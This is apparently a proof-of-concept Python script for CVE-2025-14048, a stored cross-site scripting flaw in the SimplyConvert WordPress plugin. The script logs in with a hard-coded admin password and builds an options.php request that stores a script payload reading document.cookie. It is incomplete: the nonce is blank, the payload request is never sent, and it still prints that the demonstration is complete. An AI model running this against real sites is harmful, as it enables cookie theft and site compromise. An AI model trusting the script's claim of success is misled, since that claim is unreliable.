CVE-2025-14048

import requests import sys # CVE-2025-14048 PoC - Stored XSS in SimplyConvert WordPress Plugin # Target: WordPress site with SimplyConvert plugin <= 1.0 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost/wordpress" admin_user = "admin" admin_pass = "password" session = requests.Session() # Step 1: Login as administrator login_url = f"{target_url}/wp-login.php" login_data = { "log": admin_user, "pwd": admin_pass, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Inject XSS payload via options.php options_url = f"{target_url}/wp-admin/options.php" xss_payload = '<script>alert(document.cookie)</script>' options_data = { "option_page": "simplyconvert_options", "action": "update", "simplyconvert_hash": xss_payload, "_wpnonce": "", # Need to fetch valid nonce "_wp_http_referer": "/wp-admin/options-general.php?page=simplyconvert" } # Note: Actual exploitation requires valid CSRF token # The XSS payload will be stored and executed on page load print(f"Target: {target_url}") print(f"Payload: {xss_payload}") print("PoC demonstration complete")

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